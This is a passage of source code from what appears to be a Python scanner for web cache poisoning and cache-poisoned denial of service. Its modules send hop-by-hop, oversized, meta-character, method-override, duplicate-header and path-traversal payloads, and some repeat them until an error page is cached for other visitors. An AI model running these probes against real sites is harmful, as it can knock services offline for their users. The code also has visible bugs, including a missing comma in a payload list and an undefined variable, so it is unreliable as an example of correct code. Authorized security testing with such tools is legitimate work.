93 | # print(f"{req.status_code} :: {req_verify.status_code}")
94 | if (
95 | len(req.content) == len(req_verify.content)
96 | and len(req_verify.content) != main_len
97 | ):
98 | behavior = True
99 | for rh in req_verify.headers:
100 | if "age" in rh.lower() or "hit" in req_verify.headers[rh].lower():
101 | confirmed = True
102 | cache_status = True
103 | elif len(req.content) != len(req_verify.content):
104 | for rh in req_verify.headers:
105 | if "age" in rh.lower():
106 | behavior = True
107 | cache_status = True
108 | else:
109 | behavior = True
110 | cache_status = False
111 |
112 | cache_status = (
113 | f"\033[31m {cache_status} \033[0m"
114 | if not cache_status
115 | else f"\033[32m {cache_status} \033[0m"
116 | )
117 | if confirmed:
118 | print(
119 | f" {Identify.confirmed} | CPDoSError {main_len}b > {len(req.content)}b | CACHETAG : {cache_status} | \033[34m{url}\033[0m | PAYLOAD: {pk}"
120 | )
121 | behavior = False
122 | elif behavior:
123 | print(
124 | f" {Identify.behavior} | CPDoSError {main_len}b > {len(req.content)}b | CACHETAG : {cache_status} | \033[34m{url}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}"
125 | )
126 |
127 |
128 | def cpdos_main(url, s, initial_response, authent, human):
129 | main_status_code = initial_response.status_code
130 | main_len = len(initial_response.content)
131 |
132 | blocked = 0
133 | for pk in payloads_keys:
134 | # pk = pk.encode(encoding='UTF-8')
135 | uri = f"{url}{random.randrange(99999)}"
136 | try:
137 | req = s.get(
138 | uri,
139 | headers=pk,
140 | verify=False,
141 | auth=authent,
142 | timeout=10,
143 | allow_redirects=False,
144 | )
145 | len_req = len(req.content)
146 |
147 | if req.status_code == 888:
148 | print(
149 | f" {Identify.behavior} | CPDoSError 888 response | CACHETAG: N/A | \033[34m{url}\033[0m | PAYLOAD: {pk}"
150 | )
151 | check_cached_status(uri, s, pk, main_status_code, authent)
152 | elif req.status_code == 403 or req.status_code == 429:
153 | uri_403 = f"{url}{random.randrange(999)}"
154 | req_403_test = requests.get(
155 | uri_403,
156 | verify=False,
157 | auth=authent,
158 | timeout=10,
159 | allow_redirects=False,
160 | )
161 | if req_403_test.status_code == 403 or req_403_test.status_code == 429:
162 | blocked += 1
163 |
164 | elif (
165 | blocked < 3
166 | and req.status_code != 200
167 | and main_status_code not in [403, 401]
168 | and req.status_code != main_status_code
169 | ):
170 | # print(f"[{main_status_code}>{req.status_code}] [{len(main_status_code.headers)}b>{len(req.headers)}b] [{len(main_status_code.content)}b>{len(req.content)}b] {url} :: {pk}")
171 | check_cached_status(uri, s, pk, main_status_code, authent)
172 | elif blocked < 3 and req.status_code == main_status_code:
173 | if len(str(main_len)) <= 5 and main_len not in range(
174 | len_req - 1000, len_req + 1000
175 | ):
176 | check_cached_len(uri, s, pk, main_len, authent)
177 | elif len(str(main_len)) > 5 and main_len not in range(
178 | len_req - 10000, len_req + 10000
179 | ):
180 | check_cached_len(uri, s, pk, main_len, authent)
181 | human_time(human)
182 |
183 | if len(list(pk.values())[0]) < 50 and len(list(pk.keys())[0]) < 50:
184 | sys.stdout.write(f"\033[34m {pk}\033[0m\r")
185 | sys.stdout.write("\033[K")
186 | except KeyboardInterrupt:
187 | print("Exiting")
188 | sys.exit()
189 | except Exception as e:
190 | logger.exception(e)
191 | uri = url
192 |
--------------------------------------------------------------------------------
/modules/cpdos/hbh.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Attempts to find Hop-By-Hop Header abuse
6 | https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers
7 | """
8 |
9 | from modules.utils import requests, generate_cache_buster, configure_logger, human_time, Identify
10 | from modules.lists import header_list
11 |
12 | logger = configure_logger(__name__)
13 |
14 | VULN_NAME = "Hop-By-Hop"
15 |
16 | CONTENT_DELTA_RANGE = 500
17 | BIG_CONTENT_DELTA_RANGE = 1000
18 |
19 | MAX_SAMPLE_STATUS = 3
20 | MAX_SAMPLE_CONTENT = 3
21 |
22 |
23 | def cache_poisoning(
24 | url, s, parameters, response_1, response_2, authentication, headers
25 | ):
26 | """Function to test for cache poisoning"""
27 |
28 | response_3 = s.get(
29 | url,
30 | params=parameters,
31 | auth=authentication,
32 | allow_redirects=False,
33 | verify=False,
34 | timeout=10,
35 | )
36 |
37 | reason = ""
38 | if (
39 | response_3.status_code == response_2.status_code
40 | and response_3.status_code != response_1.status_code
41 | and response_3.status_code != 429
42 | ):
43 | reason = (
44 | f"DIFFERENT STATUS-CODE {response_1.status_code} > {response_3.status_code}"
45 | )
46 | if (
47 | response_3
48 | and response_3.content
49 | and len(response_3.content) == len(response_2.content)
50 | and len(response_3.content) != len(response_1.content)
51 | and response_3.status_code != 429
52 | ):
53 | reason = f"DIFFERENT RESPONSE LENGTH {len(response_1.content)}b > {len(response_3.content)}b"
54 |
55 | if reason:
56 | payload = f"Connection: {headers['Connection']}"
57 | print(
58 | f" {Identify.confirmed} | {VULN_NAME} | \033[34m{response_2.url}\033[0m | {reason} | PAYLOAD: {payload}"
59 | )
60 | #print(response_3.headers)
61 | #print(response_3.text)
62 |
63 |
64 | def HBH(
65 | url,
66 | s,
67 | initial_response,
68 | authent,
69 | human,
70 | max_sample_status=MAX_SAMPLE_STATUS,
71 | max_sample_content=MAX_SAMPLE_CONTENT,
72 | ):
73 | """Function to test for Hop by Hop vulnerabilities"""
74 |
75 | logger.debug("Testing for %s vulnerabilities", VULN_NAME)
76 |
77 | response_1 = initial_response
78 |
79 | response_2_previous_status = 0
80 | response_2_count_status_code = 0
81 |
82 | response_2_previous_size = 0
83 | response_2_count_size = 0
84 |
85 | for header in header_list:
86 | headers = {"Connection": f"keep-alive, {header}"}
87 | parameters = {"cacheBuster": generate_cache_buster()}
88 | try:
89 | response_2 = s.get(
90 | url,
91 | headers=headers,
92 | params=parameters,
93 | auth=authent,
94 | allow_redirects=False,
95 | verify=False,
96 | timeout=10,
97 | )
98 | logger.debug("return: %s", response_2) # DEBUG
99 | logger.debug(response_2_previous_status) # DEBUG
100 |
101 | if response_2.status_code not in (
102 | response_2_previous_status,
103 | response_1.status_code,
104 | ):
105 | response_2_previous_status = response_2.status_code
106 | response_2_count_status_code = 0
107 | else:
108 | response_2_count_status_code += 1
109 |
110 | logger.debug(response_2_count_status_code)
111 |
112 | if (
113 | len(response_2.content) != response_2_previous_size
114 | and len(response_2.content) != 0
115 | ):
116 | response_2_previous_size = len(response_2.content)
117 | response_2_count_size = 0
118 | else:
119 | response_2_count_size += 1
120 |
121 | behavior = ""
122 | if (
123 | response_1.status_code != response_2.status_code
124 | and response_2.status_code not in [429, 403]
125 | and response_1.status_code not in [301, 302, 429, 403]
126 | and response_2_count_status_code < max_sample_status
127 | ):
128 | behavior = f"DIFFERENT STATUS-CODE {response_1.status_code} > {response_2.status_code}"
129 |
130 | len_main = len(response_1.content)
131 | range_exlusion = range(len_main - CONTENT_DELTA_RANGE, len_main + CONTENT_DELTA_RANGE) if len_main < 10000 else range(len_main - BIG_CONTENT_DELTA_RANGE, len_main + BIG_CONTENT_DELTA_RANGE)
132 |
133 | if (
134 | len(response_1.content) not in range_exlusion
135 | and response_2.status_code not in [429, 403]
136 | and response_1.status_code not in [301, 302, 429, 403]
137 | and response_2_count_size < max_sample_content
138 | ):
139 | behavior = f"DIFFERENT RESPONSE LENGTH {len_main}b > {len(response_2.content)}b"
140 |
141 | if behavior:
142 | payload = f"Connection: {headers['Connection']}"
143 | print(
144 | f" {Identify.behavior} | {VULN_NAME} | \033[34m{response_2.url}\033[0m | {behavior} | PAYLOAD: {payload}"
145 | )
146 | cache_poisoning(
147 | url, s, parameters, response_1, response_2, authent, headers
148 | )
149 | human_time(human)
150 |
151 | except requests.exceptions.ConnectionError as e:
152 | logger.exception(e)
153 |
154 | print(f" \033[34m {VULN_NAME} : {headers}\033[0m\r", end="")
155 | print("\033[K", end="")
156 |
--------------------------------------------------------------------------------
/modules/cpdos/hhcn.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Attempts to find Cache Poisoning with Host Header Case Normalization (HHCN)
6 | https://youst.in/posts/cache-key-normalization-denial-of-service/
7 | """
8 |
9 | from modules.utils import random, requests, get_domain_from_url, configure_logger, Identify
10 |
11 | logger = configure_logger(__name__)
12 |
13 | VULN_NAME = "Host Header Case Normalization"
14 |
15 | CONTENT_DELTA_RANGE = 500
16 |
17 | def random_domain_capitalization(url):
18 | """Randomly capitalize characters from the url domain"""
19 | domain = get_domain_from_url(url)
20 |
21 | index = random.randint(0, len(domain) - 3)
22 | letter = domain[index]
23 | if letter != "." or letter != "-":
24 | letter = domain[index].upper()
25 | else:
26 | letter = letter - 1
27 | letter = domain[index].upper()
28 | domain = domain[:index] + letter + domain[index + 1 :]
29 | return domain
30 |
31 |
32 | def HHCN(url, s, main_response, authent, content_delta_range=CONTENT_DELTA_RANGE):
33 | """Attempts to find Cache Poisoning with Host Header Case Normalization"""
34 |
35 | logger.debug("Testing for %s vulnerabilities", VULN_NAME)
36 |
37 | headers = {"Host": random_domain_capitalization(url)}
38 | payload = f"PAYLOAD: {headers}"
39 |
40 | try:
41 | main_response_size = len(main_response.content)
42 |
43 | probe = s.get(
44 | url,
45 | headers=headers,
46 | verify=False,
47 | timeout=10,
48 | auth=authent,
49 | allow_redirects=False,
50 | )
51 | probe_size = len(probe.content)
52 | behavior = ""
53 | if not (main_response_size - content_delta_range < probe_size < main_response_size + content_delta_range) or (main_response.status_code != probe.status_code):
54 | if len(probe.headers) > 0:
55 | for rf in probe.headers:
56 | if "cache" in rf.lower() or "age" in rf.lower():
57 | for _ in range(10):
58 | req_hhcn_bis = s.get(
59 | url,
60 | headers=headers,
61 | verify=False,
62 | timeout=10,
63 | auth=authent,
64 | allow_redirects=False,
65 | )
66 | else:
67 | req_hhcn_bis = s.get(
68 | url,
69 | headers=headers,
70 | verify=False,
71 | timeout=10,
72 | auth=authent,
73 | allow_redirects=False,
74 | )
75 | break;
76 | else:
77 | req_hhcn_bis = s.get(
78 | url,
79 | headers=headers,
80 | verify=False,
81 | timeout=10,
82 | auth=authent,
83 | allow_redirects=False,
84 | )
85 | if not (
86 | main_response_size - content_delta_range
87 | < probe_size
88 | < main_response_size + content_delta_range
89 | ):
90 | behavior = (
91 | f"DIFFERENT RESPONSE LENGTH | {main_response_size}b > {probe_size}b"
92 | )
93 | print(
94 | f" {Identify.behavior} | HHCN | \033[34m{url}\033[0m | {behavior} | {payload}"
95 | )
96 |
97 | if main_response.status_code != probe.status_code:
98 | behavior = (
99 | f"DIFFERENT STATUS-CODE | {main_response_size}b > {probe_size}b"
100 | )
101 | print(
102 | f" {Identify.behavior} | HHCN | \033[34m{url}\033[0m | {behavior} | {payload}"
103 | )
104 |
105 | control = s.get(url, verify=False, timeout=10, auth=authent)
106 |
107 | if behavior and len(req_hhcn_bis.content) == len(control.content) and len(control.content) != main_response_size:
108 | behavior = f"DIFFERENT RESPONSE LENGTH | {main_response_size}b > {len(control.content)}b"
109 | print(
110 | f" {Identify.confirmed} | HHCN | \033[34m{url}\033[0m | {behavior} | {payload}"
111 | )
112 |
113 | if behavior and req_hhcn_bis.status_code == control.status_code and control.status_code != main_response.status_code:
114 | behavior = f"DIFFERENT STATUS-CODE | {main_response.status_code} > {control.status_code}"
115 | print(
116 | f" {Identify.confirmed} | HHCN | \033[34m{url}\033[0m | {behavior} | {payload}"
117 | )
118 |
119 | print(f" \033[34m {VULN_NAME} : {headers}\033[0m\r", end="")
120 | print("\033[K", end="")
121 | except requests.exceptions.ConnectionError as e:
122 | logger.exception(e)
123 |
--------------------------------------------------------------------------------
/modules/cpdos/hho.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Attempts to find Cache Poisoning with HTTP Header Oversize (HHO)
6 | https://cpdos.org/#HHO
7 | """
8 |
9 | from modules.utils import requests, configure_logger, human_time
10 |
11 | logger = configure_logger(__name__)
12 |
13 | VULN_NAME = "HTTP Header Oversize"
14 |
15 | def HHO(url, s, main_response, authent, human):
16 | """
17 | Perform a Header Oversize Denial of Service (HHO DOS) attack on the given URL.
18 |
19 | This function attempts to detect and confirm a vulnerability by sending oversized headers
20 | to the target URL and observing the response status codes. If a specific error status code
21 | is detected, it indicates a potential vulnerability.
22 |
23 | Args:
24 | url (str): The target URL to test.
25 | s (requests.Session): The session object to use for making requests.
26 | main_response (requests.Response): The initial response from the target URL.
27 | authent (tuple): Authentication credentials (username, password) for the target URL.
28 |
29 | Returns:
30 | None
31 | """
32 | error_detected = False
33 | max_iterations = 200
34 | iteration = 0
35 | main_status_code = main_response.status_code
36 |
37 | big_value = "Big-Value-0"
38 |
39 | while iteration < max_iterations and not error_detected:
40 | big_value = big_value + "0" * 50
41 | h = {f"X-Oversized-Header-{iteration}": f"{big_value}"}
42 |
43 | try:
44 | probe = s.get(
45 | url, headers=h, auth=authent, allow_redirects=False, verify=False, timeout=10
46 | )
47 |
48 | logger.debug(
49 | "STATUS (%s)\nHeaders :(%s)",
50 | probe.status_code,
51 | h,
52 | )
53 |
54 | if (
55 | probe.status_code in [400, 413, 500, 502]
56 | and probe.status_code != main_status_code
57 | ):
58 | logger.debug(
59 | "CPDOS : URL (%s) STATUS (%s) Headers :(%s)",
60 | url,
61 | probe.status_code,
62 | probe.headers,
63 | )
64 | error_detected = True
65 | iteration += 1
66 | human_time(human)
67 |
68 | print(
69 | f" \033[34m {VULN_NAME} : X-Oversized-Header-{iteration}\033[0m\r",
70 | end="",
71 | )
72 | print("\033[K", end="")
73 |
74 | except requests.exceptions.ConnectionError as e:
75 | logger.exception(e)
76 |
77 | if error_detected:
78 | try:
79 | verify = s.get(url, auth=authent, allow_redirects=False, verify=False, timeout=10)
80 | if (
81 | verify.status_code in [400, 413, 500, 502]
82 | and verify.status_code != main_status_code
83 | ):
84 | reason = f"DIFFERENT STATUS-CODE {main_status_code} > {verify.status_code}"
85 | status = "\033[31m└── [VULNERABILITY CONFIRMED]\033[0m"
86 | else:
87 | reason = f"DIFFERENT STATUS-CODE {main_status_code} > {probe.status_code}"
88 | status = "\033[33m└── [INTERESTING BEHAVIOR]\033[0m"
89 | print(f" {status} | HHO DOS | \033[34m{url}\033[0m | {reason} | PAYLOAD: X-Oversized-Header-x: Big-Value-0*{len(big_value) - len('Big-Value-0')}")
90 |
91 | except requests.exceptions.ConnectionError as e:
92 | logger.exception(e)
93 |
--------------------------------------------------------------------------------
/modules/cpdos/hmc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Attempts to find Cache Poisoning with HTTP Metachar Character (HMC)
6 | https://cpdos.org/#HMC
7 | """
8 |
9 | from modules.utils import random, requests, configure_logger, human_time
10 |
11 | logger = configure_logger(__name__)
12 |
13 | VULN_NAME = "HTTP Meta Character"
14 |
15 | def check_meta_character(url, s, main_status_code, authent, meta_character, human):
16 | """Probe and Verify the server for a meta character vulnerability"""
17 |
18 | logger.debug("Testing for %s vulnerabilities", VULN_NAME)
19 |
20 | url = f"{url}{random.randrange(99)}"
21 | headers = {"X-Metachar-Header": meta_character}
22 | probe = s.get(
23 | url,
24 | headers=headers,
25 | timeout=10,
26 | verify=False,
27 | auth=authent,
28 | allow_redirects=False,
29 | )
30 |
31 | reason = ""
32 | if probe.status_code in [400, 413, 500] and probe.status_code != main_status_code:
33 | control = s.get(url, verify=False, timeout=10, auth=authent)
34 | if (
35 | control.status_code == probe.status_code
36 | and control.status_code != main_status_code
37 | ):
38 | reason = f"\033[34m{main_status_code} > {control.status_code}\033[0m"
39 |
40 | if reason:
41 | payload = f"PAYLOAD: {headers}"
42 | print(
43 | f"\033[31m └── [VULNERABILITY CONFIRMED]\033[0m | HMC | \033[34m{url}\033[0m | {reason} | {payload}"
44 | )
45 | human_time(human)
46 |
47 |
48 | def HMC(url, s, req_main, authent, human): # pylint: disable=invalid-name
49 | """Prepare the list of meta characters to check for"""
50 | main_status_code = req_main.status_code
51 |
52 | meta_characters = [
53 | r"\n",
54 | r"\a",
55 | r"\r",
56 | r"\0",
57 | r"\b",
58 | r"\e",
59 | r"\v",
60 | r"\f",
61 | r"\u0000",
62 | "\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07metahttptest",
63 | ]
64 | for meta_character in meta_characters:
65 | try:
66 | check_meta_character(url, s, main_status_code, authent, meta_character, human)
67 |
68 | except requests.exceptions.ConnectionError as e:
69 | logger.exception(e)
70 |
71 | print(
72 | f" \033[34m {VULN_NAME} : {meta_character.encode(encoding='UTF-8')}\033[0m\r",
73 | end="",
74 | )
75 | print("\033[K", end="")
76 |
--------------------------------------------------------------------------------
/modules/cpdos/hmo.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Attempts to find Cache Poisoning with HTTP Method Override (HMO)
6 | https://cpdos.org/#HMO
7 | """
8 |
9 | from modules.utils import requests, random, configure_logger, human_time
10 |
11 | logger = configure_logger(__name__)
12 |
13 | VULN_NAME = "HTTP Method Override"
14 |
15 | CONTENT_DELTA_RANGE = 500
16 | BIG_CONTENT_DELTA_RANGE = 5000
17 |
18 | def HMO(url, s, initial_response, authent, human):
19 | """Function to test for HTTP Method Override vulnerabilities"""
20 |
21 | logger.debug("Testing for %s vulnerabilities", VULN_NAME)
22 |
23 | methods = [
24 | "GET",
25 | "POST",
26 | "PATCH",
27 | "PUT",
28 | "DELETE",
29 | "HEAD",
30 | "TRACE",
31 | "HELP",
32 | "OPTIONS",
33 | "CONNECT",
34 | "PURGE",
35 | "RESUME",
36 | "SEARCH",
37 | "MERGE",
38 | "LOCK",
39 | "UNLOCK",
40 | "SYNC",
41 | "ARCHIVE",
42 | "CLONE",
43 | "ROLLBACK",
44 | "EXECUTE",
45 | "INTROSPECT",
46 | "NONSENSE",
47 | ]
48 |
49 | hmo_headers = [
50 | "HTTP-Method-Override",
51 | "X-HTTP-Method-Override",
52 | "X-Method-Override",
53 | "Method-Override",
54 | "X-HTTP-Method",
55 | "HTTP-Method",
56 | ]
57 |
58 | main_status_code = initial_response.status_code
59 | main_len = len(initial_response.content)
60 |
61 | for header, method in (
62 | (header, method) for header in hmo_headers for method in methods
63 | ):
64 | uri = f"{url}{random.randrange(999)}"
65 | try:
66 | probe_headers = {header: method}
67 | print(f" \033[34m {VULN_NAME} : {probe_headers}\033[0m\r", end="")
68 | print("\033[K", end="")
69 | probe = s.get(
70 | uri,
71 | headers=probe_headers,
72 | verify=False,
73 | timeout=10,
74 | auth=authent,
75 | allow_redirects=False,
76 | )
77 | human_time(human)
78 |
79 | range_exlusion = range(main_len - CONTENT_DELTA_RANGE, main_len + CONTENT_DELTA_RANGE) if main_len < 10000 else range(main_len - BIG_CONTENT_DELTA_RANGE, main_len + BIG_CONTENT_DELTA_RANGE)
80 | #print(range_exlusion)
81 |
82 | if probe.status_code != main_status_code and probe.status_code not in [
83 | main_status_code,
84 | 429, 403
85 | ]:
86 | reason = (
87 | f"DIFFERENT STATUS-CODE {main_status_code} > {probe.status_code}"
88 | )
89 | status = "\033[33m└── [INTERESTING BEHAVIOR]\033[0m"
90 | elif len(probe.content) != main_len and len(probe.content) not in range_exlusion:
91 | reason = (
92 | f"DIFFERENT RESPONSE LENGTH {main_len}b > {len(probe.content)}b"
93 | )
94 | #print(probe.content)
95 | status = "\033[33m└── [INTERESTING BEHAVIOR]\033[0m"
96 | elif probe.status_code == main_status_code and len(probe.content) in range_exlusion:
97 | continue
98 |
99 | for _ in range(15):
100 | probe = s.get(
101 | uri,
102 | headers=probe_headers,
103 | verify=False,
104 | timeout=10,
105 | auth=authent,
106 | allow_redirects=False,
107 | )
108 | human_time(human)
109 | control = requests.get(uri, verify=False, headers={"User-agent": "xxxxx"}, timeout=10, auth=authent)
110 | #print(control)
111 | #print(probe)
112 | #print(len(control.content))
113 | #print(len(probe.content))
114 | if control.status_code == probe.status_code and control.status_code not in [
115 | main_status_code,
116 | 429, 403
117 | ]:
118 | reason = (
119 | f"DIFFERENT STATUS-CODE {main_status_code} > {control.status_code}"
120 | )
121 | status = "\033[31m└── [VULNERABILITY CONFIRMED]\033[0m"
122 |
123 | if len(control.content) == len(probe.content) and len(probe.content) not in range_exlusion:
124 | reason = (
125 | f"DIFFERENT RESPONSE LENGTH {main_len}b > {len(control.content)}b"
126 | )
127 | #print(control.content)
128 | status = "\033[31m└── [VULNERABILITY CONFIRMED]\033[0m"
129 |
130 | if reason:
131 | print(
132 | f" {status} | HMO DOS | \033[34m{uri}\033[0m | {reason} | PAYLOAD: {probe_headers}"
133 | )
134 |
135 | except requests.exceptions.ConnectionError as e:
136 | logger.exception(e)
137 |
--------------------------------------------------------------------------------
/modules/cpdos/multiple_headers.py:
--------------------------------------------------------------------------------
1 | import http.client
2 | from urllib.parse import urlparse
3 | from modules.utils import requests, configure_logger, random, human_time, Identify
4 | from modules.lists import header_list
5 |
6 | VULN_NAME = "Multiple Headers"
7 | EXCLUDE_RESPONSE = [200, 301, 302, 403, 404, 307, 308, 303, 429]
8 |
9 | logger = configure_logger(__name__)
10 |
11 | def verify_cache_poisoning(VULN_TYPE, conn, url, payload, main_status_code, authent, host):
12 | cb = random.randrange(9999)
13 | res_status = 0
14 | try:
15 | for _ in range(5):
16 | conn.putrequest("GET", "/?CPDoS={}".format(cb))
17 | conn.putheader("User-Agent", "xxxx")
18 |
19 | if VULN_TYPE == "RDH":
20 | conn.putheader("Referer", "xy")
21 | conn.putheader("Referer", "x")
22 |
23 | elif VULN_TYPE == "HDH":
24 | conn.putheader("Host", "{}".format(host))
25 | conn.putheader("Host", "toto.com")
26 |
27 | else:
28 | conn.putheader(f"{VULN_TYPE}", "xxxx")
29 | conn.putheader(f"{VULN_TYPE}", "xxxx")
30 |
31 | conn.endheaders()
32 | response = conn.getresponse()
33 | res_status = response.status
34 | conn.close()
35 | #print(url)
36 | uri = f"{url}?CPDoS={cb}"
37 | #print(uri)
38 | req = requests.get(uri, auth=authent, timeout=10)
39 | if req.status_code == res_status and res_status != main_status_code:
40 | reason = f"DIFFERENT STATUS-CODE {main_status_code} > {response.status}"
41 | print(
42 | f" {Identify.confirmed} | {VULN_NAME} | \033[34m{uri}\033[0m | {reason} | PAYLOAD: {payload}"
43 | )
44 | except Exception as e:
45 | logger.exception(e)
46 |
47 |
48 | def duplicate_headers(conn, url, mh, main_status_code, authent):
49 | #VULN_TYPE = "DH"
50 | cb = random.randrange(9999)
51 |
52 | try:
53 | conn.putrequest("GET", f"/?cb={cb}")
54 | conn.putheader("User-Agent", "xxxx")
55 | conn.putheader(f"{mh}", "xxxx")
56 | conn.putheader(f"{mh}", "xxxx")
57 | conn.endheaders()
58 |
59 | response = conn.getresponse()
60 |
61 | if response.status != main_status_code and response.status not in EXCLUDE_RESPONSE:
62 | #print(f"[{url}?cb={cb}] Statut : {response.status}, Raison : {response.reason}")
63 | for rh in response.headers:
64 | if "age" in rh.lower() or "hit" in rh.lower():
65 | return response, cb
66 | else:
67 | conn.close()
68 | return False
69 | except Exception as e:
70 | return False
71 |
72 |
73 |
74 | def referer_duplicate_headers(conn, url, main_status_code, authent):
75 | #VULN_TYPE = "RDH"
76 | cb = random.randrange(9999)
77 |
78 | try:
79 | conn.putrequest("GET", "/?cb={}".format(cb))
80 | conn.putheader("User-Agent", "xxxx")
81 | conn.putheader("Referer", "xy")
82 | conn.putheader("Referer", "x")
83 | conn.endheaders()
84 |
85 | response = conn.getresponse()
86 | if response.status != main_status_code and response.status not in EXCLUDE_RESPONSE:
87 | #print(f"[{url}?cb={cb}] Statut : {response.status}, Raison : {response.reason}")
88 | for rh in response.headers:
89 | if "age" in rh.lower() or "hit" in rh.lower():
90 | return response, cb
91 | else:
92 | conn.close()
93 | return False
94 | except Exception as e:
95 | return False
96 |
97 |
98 |
99 | def host_duplicate_headers(conn, host, url, main_status_code, authent):
100 | #VULN_TYPE = "HDH"
101 | cb = random.randrange(9999)
102 |
103 | try:
104 | conn.putrequest("GET", "/?cb={}".format(cb))
105 | conn.putheader("User-Agent", "xxxx")
106 | conn.putheader("Host", "{}".format(host))
107 | conn.putheader("Host", "toto.com")
108 | conn.endheaders()
109 |
110 | response = conn.getresponse()
111 | if response.status != main_status_code and response.status not in EXCLUDE_RESPONSE:
112 | #print(f"[{url}?cb={cb}] Statut : {response.status}, Raison : {response.reason}")
113 | for rh in response.headers:
114 | if "age" in rh.lower() or "hit" in rh.lower():
115 | return response, cb
116 | else:
117 | conn.close()
118 | return False
119 | except Exception as e:
120 | return False
121 |
122 |
123 |
124 | def MHC(url, req_main, authent, human):
125 | main_status_code = req_main.status_code
126 | try:
127 | parsed_url = urlparse(url)
128 | host = parsed_url.netloc
129 | if parsed_url.scheme == "https":
130 | conn = http.client.HTTPSConnection(host, timeout=10)
131 | else:
132 | conn = http.client.HTTPConnection(host, timeout=10)
133 |
134 | RDH = referer_duplicate_headers(conn, url, main_status_code, authent)
135 | HDH = host_duplicate_headers(conn, host, url, main_status_code, authent)
136 |
137 | mhc_res = ["RDH", "HDH"]
138 |
139 | for vuln_type in mhc_res:
140 | vuln_type_res = locals()[vuln_type]
141 | print(f" \033[34m {VULN_NAME} : {url}\033[0m\r", end="")
142 | print("\033[K", end="")
143 | if vuln_type_res != False and vuln_type_res != None:
144 | behavior = f"DIFFERENT STATUS-CODE {main_status_code} > {vuln_type_res[0].status}"
145 |
146 | if vuln_type == "RDH":
147 | payload = f"[Referer: xy, Referer: x]"
148 | elif vuln_type == "HDH":
149 | payload = f"[Host: {host}, Host: toto.com]"
150 |
151 | print(
152 | f" {Identify.behavior} | {VULN_NAME} | \033[34m{url}?cb={vuln_type_res[1]}\033[0m | {behavior} | PAYLOAD: {payload}"
153 | )
154 | conn.close()
155 | verify_cache_poisoning(vuln_type, conn, url, payload, main_status_code, authent, host)
156 |
157 | #m_heads = ["Authorization", "Accept", "Content-Type", "Cookie", "X-Requested-With", "user-agent"]
158 | m_heads = header_list
159 | for mh in m_heads:
160 | DH = duplicate_headers(conn, url, mh, main_status_code, authent)
161 | if DH != False and DH != None:
162 | behavior = f"DIFFERENT STATUS-CODE {main_status_code} > {DH[0].status}"
163 |
164 | payload = f"[{mh}: xxxx, {mh}: xxxx]"
165 |
166 | print(
167 | f" {Identify.behavior} | {VULN_NAME} | \033[34m{url}?cb={DH[1]}\033[0m | {behavior} | PAYLOAD: {payload}"
168 | )
169 | conn.close()
170 | verify_cache_poisoning(mh, conn, url, payload, main_status_code, authent, host)
171 | human_time(human)
172 | print(f" \033[34m {VULN_NAME} : {mh}\033[0m\r", end="")
173 | print("\033[K", end="")
174 |
175 | except Exception as e:
176 | logger.exception(e)
177 |
--------------------------------------------------------------------------------
/modules/cpdos/path_traversal.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | From 0xrth research
6 | """
7 |
8 |
9 | from modules.utils import random, requests, configure_logger, Identify
10 | import traceback
11 | try:
12 | import httpx
13 | except:
14 | print("httpx does not seem to be installed")
15 |
16 | logger = configure_logger(__name__)
17 |
18 |
19 | CONTENT_DELTA_RANGE = 500
20 |
21 |
22 | def verify(req_main, url, url_cb, url_test, completed_path, range_exlusion, p, s):
23 | try:
24 | completed_path = completed_path.encode("utf-8")
25 | url_with_raw_path = f"{url}{completed_path.decode('utf-8')}" if url[-1] == "/" else f"{url}/{completed_path.decode('utf-8')}"
26 | #print(url_with_raw_path)
27 | #print(url_with_raw_path)
28 | for _ in range(5):
29 | with httpx.Client(http2=False, verify=False) as client:
30 | req_verify = client.get(url_with_raw_path)
31 |
32 | req_cb = s.get(url_cb, verify=False, timeout=10, allow_redirects=False)
33 | #print(f"req_cb.status_code: {req_cb.status_code} | req_verify.status_code: {req_verify.status_code} | req_main.status_code: {req_main.status_code}")
34 | if req_cb.status_code == req_verify.status_code and req_cb.status_code != req_main.status_code:
35 | print(f" {Identify.confirmed} | CPDoSError {req_main.status_code} > {req_cb.status_code} | \033[34m{url_cb}\033[0m | PAYLOAD: {url_test}")
36 | elif len(req_cb.content) not in range_exlusion and req_test.status_code not in [403, 401, 429]:
37 | print(f" {Identify.confirmed} | CPDoSError {len(req_main.content)}b > {len(req_cb.content)}b | \033[34m{url_cb}\033[0m | PAYLOAD: {url_test}")
38 | except requests.Timeout:
39 | #print(f"request timeout {url} {p}")
40 | pass
41 | except Exception as e:
42 | #traceback.print_exc()
43 | pass
44 |
45 |
46 |
47 | def path_traversal_check(url, s, req_main, authent):
48 | try:
49 | range_exlusion = range(len(req_main.content) - CONTENT_DELTA_RANGE, len(req_main.content) + CONTENT_DELTA_RANGE)
50 | paths = [
51 | "cc\\..\\",
52 | "cc/../",
53 | "cc/%2e%2e%2f"
54 | "cc%2e%2e/",
55 | "cc%2f..%2f",
56 | "cc/..\\",
57 | "cc/..;/",
58 | ]
59 | for p in paths:
60 | cb = f"?cb={random.randrange(999)}"
61 |
62 | completed_path = f"{p}{cb}"
63 | url_test = f"{url}{p}{cb}" if url[-1] == "/" else f"{url}/{p}{cb}"
64 | url_cb = f"{url}{cb}"
65 |
66 | req_test = s.get(url_test, verify=False, timeout=10, allow_redirects=False)
67 | if req_test.status_code != req_main.status_code and req_test.status_code not in [403, 401, 429]:
68 | print(f" {Identify.behavior} | CPDoSError {req_main.status_code} > {req_test.status_code} | \033[34m{url_cb}\033[0m | PAYLOAD: {url_test}")
69 | verify(req_main, url, url_cb, url_test, completed_path, range_exlusion, p, s)
70 | elif len(req_test.content) not in range_exlusion and req_test.status_code not in [403, 401, 429]:
